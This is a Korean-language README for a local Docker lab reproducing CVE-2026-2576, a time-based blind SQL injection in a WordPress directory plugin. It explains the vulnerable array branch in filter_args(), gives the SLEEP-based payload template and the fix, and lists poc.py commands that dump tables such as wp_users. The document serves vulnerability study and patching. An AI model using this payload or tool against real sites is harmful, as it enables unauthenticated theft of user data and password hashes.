
CVE-2026-2576 — Business Directory 플러그인 SQLi PoC (로컬 설정). 인증되지 않은 시간 기반 블라인드 SQL 인젝션, WordPress용 Business Directory 플러그인 ≤ 6.4.21
인증되지 않은 시간 기반 블라인드 SQL 인젝션
Business Directory Plugin for WordPress ≤ 6.4.21
| 필드 | 세부 정보 |
|---|---|
| CVE | CVE-2026-2576 |
| 플러그인 | Business Directory Plugin – Easy Listing Directories for WordPress |
| 공급업체 | strategy11team |
| 영향 범위 | 6.4.21 이하 모든 버전 |
| 패치 버전 | 6.4.22 |
| 유형 | 시간 기반 블라인드 SQL 인젝션 (CWE-89) |
| 인증 | 없음 — 완전히 인증되지 않음 |
| CVSS | 7.5 (NVD) / 9.3 (Wordfence) |
| 벡터 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| 배정 기관 | Wordfence (CNA) — d8ec7d25-1574-416c-b5fd-3a71b1cc09d2 |
| 공개일 | 2026년 2월 18일 |
Business Directory Plugin은 결제 지원 기능이 있는 목록형 디렉토리를 구축하기 위해 널리 사용되는 WordPress 플러그인입니다. 이 플러그인의 ORM 쿼리 빌더 결함으로 인해 인증되지 않은 공격자가 payment 쿼리 매개변수를 통해 시간 기반 블라인드 SQL 인젝션을 수행하여 데이터베이스 내용을 추론할 수 있습니다.
취약점은 ORM 쿼리 빌더에 있습니다:
파일: includes/db/class-db-query-set.php — filter_args()
private function filter_args( $args ) {
$filters = array();
foreach ( $args as $f => $v ) {
$op = '=';
// ...
if ( is_array( $v ) ) {
// ❌ 취약 — 검증 없음, 직접 문자열 연결
$filters[] = "$f IN ('" . implode( "','", $v ) . "')";
} else {
// ✓ 안전 — $wpdb->prepare() 사용
$filters[] = $this->db->prepare( "$f $op %s", $v );
}
}
return $filters;
}
$v가 스칼라인 경우 코드는 $wpdb->prepare()를 올바르게 사용합니다. $v가 배열인 경우 안전하지 않은 분기로 들어가 이스케이프 없이 값을 SQL 문자열에 직접 연결합니다.
체크아웃 컨트롤러(includes/controllers/pages/class-checkout.php)는 payment 요청 매개변수를 읽어 ORM에 전달합니다:
// class-checkout.php :: fetch_payment()
$payment_id = wpbdp_get_var( array( 'param' => 'payment' ), 'request' );
if ( ! $this->payment_id && ! empty( $payment_id ) ) {
$this->payment = WPBDP_Payment::objects()->get(
array( 'payment_key' => $payment_id ) // $payment_id가 값으로 전달됨
);
}
PHP는 쿼리 문자열의 payment[]=value를 자동으로 배열 $_GET['payment'] = ['value']로 변환합니다. 이로 인해 filter_args()에서 $v가 배열이 되어 안전하지 않은 분기가 실행됩니다.
GET /?page_id=4&wpbdp_view=checkout&payment[]=<payload>
PHP: $_REQUEST['payment'] = ['<payload>'] ← [] 표기법으로 인해 배열
|
v
class-checkout.php: fetch_payment()
|
v
WPBDP_Payment::objects()->get(['payment_key' => ['<payload>']])
|
v
class-db-query-set.php: filter_args()
=> is_array($v) == TRUE → 안전하지 않은 분기
=> "$f IN ('" . implode("','", $v) . "')"
|
v
MySQL: SELECT * FROM wp_wpbdp_payments
WHERE payment_key IN ('<payload>')
payment[]=<key>') AND IF((<condition>),SLEEP(N),0)-- -
생성된 SQL:
SELECT * FROM wp_wpbdp_payments
WHERE payment_key IN ('<key>') AND IF((<condition>),SLEEP(N),0)-- -')
-- -는 끝의 ')를 주석 처리합니다. IF()는 부울 오라클을 생성하며, 조건이 TRUE이면 SLEEP(N)이 실행되어 응답이 지연되고, FALSE이면 응답이 즉시 반환됩니다.
참고: ORM은 요청당 쿼리를 두 번 실행하므로(get()에서 한 번, maybe_execute_query()에서 한 번), SLEEP(1) 페이로드는 약 2초의 관찰 가능한 지연을, SLEEP(2)는 약 4초의 지연을 생성합니다.
인증되지 않은 공격자는 시간 기반 응답을 통해 데이터베이스 내용을 문자 단위로 추론하고 추출할 수 있습니다:
wp_users), 사용자 이름, 이메일 주소, 비밀번호 해시6.4.22 버전의 수정 사항은 filter_args()의 배열 분기에 검증을 추가합니다:
// 이전 (취약)
$filters[] = "$f IN ('" . implode( "','", $v ) . "')";
// 이후 (패치됨)
$escaped = array_map( array( $this->db, 'esc_sql' ), $v );
$filters[] = "$f IN ('" . implode( "','", $escaped ) . "')";
Python 종속성 설치:
pip3 install requests colorama --break-system-packages
cve-2026-2576-lab/
┣ 📂poc
┃ ┣ 📜patch_diff.py
┃ ┗ 📜poc.py
┣ 📜.gitignore
┣ 📜docker-compose.yml
┣ 📜init-db.sql
┣ 📜README.md
┣ 📜setup.sh
┗ 📜uploads.ini
cd cve-2026-2576-lab
docker compose up -d --build
docker compose up setup
다음 메시지가 표시될 때까지 기다립니다:
╔══════════════════════════════════════════════════════════╗
║ Lab Setup Complete! ║
╠══════════════════════════════════════════════════════════╣
║ WordPress: http://localhost:8080 ║
║ WP Admin: http://localhost:8080/wp-admin ║
║ phpMyAdmin: http://localhost:8082 ║
╠══════════════════════════════════════════════════════════╣
║ admin / admin123 ║
║ victim / victimpass123 ║
╠══════════════════════════════════════════════════════════╣
║ Plugin: 6.4.21 (VULNERABLE) ║
║ BD Page ID: 4 ║
╚══════════════════════════════════════════════════════════╝
docker exec lab_wordpress bash -c \
"grep 'Version:' /var/www/html/wp-content/plugins/business-directory-plugin/business-directory-plugin.php \
| head -1"
# 예상 출력: * Version: 6.4.21
docker exec lab_mysql mysql -uwpuser -pwppass wordpress -e "SELECT id, payment_key, status FROM wp_wpbdp_payments;"
+----+--------------+---------+
| id | payment_key | status |
+----+--------------+---------+
| 1 | seed-pay-001 | pending |
+----+--------------+---------+
docker compose up -d pma
# http://localhost:8082 에서 접속 (root / rootpass)
모든 명령은 Kali 호스트의 랩 루트 디렉토리에서 실행합니다.
http://localhost:8080 사용 (호스트 → Docker 포트 매핑).
payment_key는 wp_wpbdp_payments의 기존 행과 일치해야 합니다.
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --detect
예상 출력: INJECTION CONFIRMED ✓ (2.03s ≈ 1s × 2 ORM executions)

python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --extract-db

python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --tables
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --dump-table wp_users
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --dump-table lab_secrets